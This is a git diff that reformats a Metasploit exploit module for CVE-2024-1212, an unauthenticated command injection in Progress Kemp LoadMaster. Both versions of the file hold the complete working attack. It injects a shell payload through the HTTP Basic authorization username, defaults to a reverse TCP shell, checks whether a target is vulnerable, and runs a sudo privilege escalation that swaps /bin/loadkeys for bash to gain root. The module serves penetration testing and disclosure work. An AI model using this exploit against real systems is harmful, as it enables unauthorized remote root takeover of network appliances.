diff --git a/CVE-2024-1212/metasploit/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb b/CVE-2024-1212/metasploit/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb index fddd0c1..7a6869b 100644 --- a/CVE-2024-1212/metasploit/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb +++ b/CVE-2024-1212/metasploit/exploits/linux/http/progress_kemp_loadmaster_unauth_cmd_injection.rb @@ -4,134 +4,132 @@ ## class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpClient - prepend Msf::Exploit::Remote::AutoCheck - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'Kemp LoadMaster Unauthenticated Command Injection', - 'Description' => %q{ - This module exploits an unauthenticated command injection vulnerability in - Progress Kemp LoadMaster, versions before 7.2.59.2. - }, - 'Author' => [ - 'Dave Yesland with Rhino Security Labs', - ], - 'License' => MSF_LICENSE, - 'References' => [ - ['CVE', '2024-1212'], - ['URL', 'https://kemptechnologies.com/kemp-load-balancers'], - ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'] - ], - 'DisclosureDate' => '2024', - 'Notes' => { - 'Stability' => [ CRASH_SAFE ], - 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK], - 'Reliability' => [ REPEATABLE_SESSION ] - }, - 'Platform' => ['unix', 'linux'], - 'Arch' => [ARCH_X86, ARCH_X64], - 'Targets' => [['Automatic', {}]], - 'Privileged' => false, - 'DefaultOptions' => - { - 'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp', - 'SSL' => true, - 'RPORT' => 443 - }, - 'Payload' => - { - 'BadChars' => "\x3a\x27" - } - ) + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Kemp LoadMaster Unauthenticated Command Injection', + 'Description' => %q{ + This module exploits an unauthenticated command injection vulnerability in + Progress Kemp LoadMaster in the authroization header. + }, + 'Author' => [ + 'Dave Yesland with Rhino Security Labs', + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2024-1212'], + ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'], + ['URL', 'https://kemptechnologies.com/kemp-load-balancers'] + ], + 'DisclosureDate' => '2024-03-19', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK], + 'Reliability' => [ REPEATABLE_SESSION ] + }, + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => [['Automatic', {}]], + 'Privileged' => false, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/linux/https/x64/shell/reverse_tcp', + 'SSL' => true, + 'RPORT' => 443 + }, + 'Payload' => { + 'BadChars' => "\x3a\x27" + } ) - - register_options([ - OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']), - OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true]) - ]) + ) + + register_options([ + OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/']), + OptBool.new('PRIVESC', [true, 'Automatically try privesc to add sudo entry', true]) + ]) + + @first_session_timestamp = nil + end + + def exploit + uri = normalize_uri(target_uri.path, 'access', 'set') + + print_status('Sending payload...') + + send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'vars_get' => + { + 'param' => 'enableapi', + 'value' => '1' + }, + 'authorization' => basic_auth("';#{payload.encoded};echo '", 'anything'), + 'verify' => false + }) + end - @first_session_timestamp = nil + def on_new_session(session) + # Kill the session if it was initiated too close to the first session + # This command injection tends to execute twice, so we want to kill + # the second session. Probably a better way to do this but I don't know it. + super + current_time = Time.now.to_i + if @first_session_timestamp.nil? + @first_session_timestamp = current_time + elsif current_time - @first_session_timestamp < 5 + print_error('Detected a session initiated too close to the first session. Terminating it.') + session.kill end - - def exploit - uri = normalize_uri(target_uri.path, 'access', 'set') - - print_status("Sending payload...") - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => uri, - 'vars_get' => - { - 'param' => 'enableapi', - 'value' => "1" - }, - 'authorization' => basic_auth("';#{payload.encoded};echo '", 'anything'), - 'verify' => false - }) + + # Run privesc commands if PRIVESC is set to true + if datastore['PRIVESC'] + execute_privesc_command(session) + else + print_status('Privilege escalation skipped.') + end + end + + def execute_privesc_command(session) + print_status('Executing privilege escalation command...') + session.shell_command('sudo /bin/cp /bin/loadkeys /tmp/loadkeys') + session.shell_command('sudo /bin/cp /bin/bash /bin/loadkeys') + session.shell_command('sudo /bin/loadkeys -c /bin/bash') + session.shell_command('cp /tmp/loadkeys /bin/loadkeys') + end + + def check + print_status("Checking if #{peer} is vulnerable...") + + uri = normalize_uri(target_uri.path, 'access', 'set') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri, + 'vars_get' => { + 'param' => 'enableapi', + 'value' => '1' + }, + 'authorization' => basic_auth("'", 'anything'), + 'verify' => false + }) + + # No response from server + unless res + return CheckCode::Unknown end - def on_new_session(session) - # Kill the session if it was initiated too close to the first session - # This command injection tends to execute twice, so we want to kill - # the second session. Probably a better way to do this but I don't know it. - super - current_time = Time.now.to_i - if @first_session_timestamp.nil? - @first_session_timestamp = current_time - elsif current_time - @first_session_timestamp < 5 - print_error("Detected a session initiated too close to the first session. Terminating it.") - session.kill - end - - # Run privesc commands if PRIVESC is set to true - if datastore['PRIVESC'] - execute_privesc_command(session) - else - print_status('Privilege escalation skipped.') - end + # Check for specific error pattern in headers or body to confirm vulnerability + if res.headers.to_s.include?('unexpected EOF while looking for matching') || res.body.include?('unexpected EOF while looking for matching') + return CheckCode::Vulnerable + else + return CheckCode::Safe end + end - def execute_privesc_command(session) - print_status("Executing privilege escalation command...") - session.shell_command('sudo /bin/cp /bin/loadkeys /tmp/loadkeys') - session.shell_command('sudo /bin/cp /bin/bash /bin/loadkeys') - session.shell_command('sudo /bin/loadkeys -c /bin/bash') - session.shell_command('cp /tmp/loadkeys /bin/loadkeys') - end - - def check - print_status("Checking if #{peer} is vulnerable...") - - uri = normalize_uri(target_uri.path, 'access', 'set') - - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => uri, - 'vars_get' => { - 'param' => 'enableapi', - 'value' => "1" - }, - 'authorization' => basic_auth("'", 'anything'), - 'verify' => false - }) - - # No response from server - unless res - return CheckCode::Unknown - end - - # Check for specific error pattern in headers or body to confirm vulnerability - if res.headers.to_s.include?("unexpected EOF while looking for matching") || res.body.include?("unexpected EOF while looking for matching") - return CheckCode::Vulnerable - else - return CheckCode::Safe - end - end - - end \ No newline at end of file +end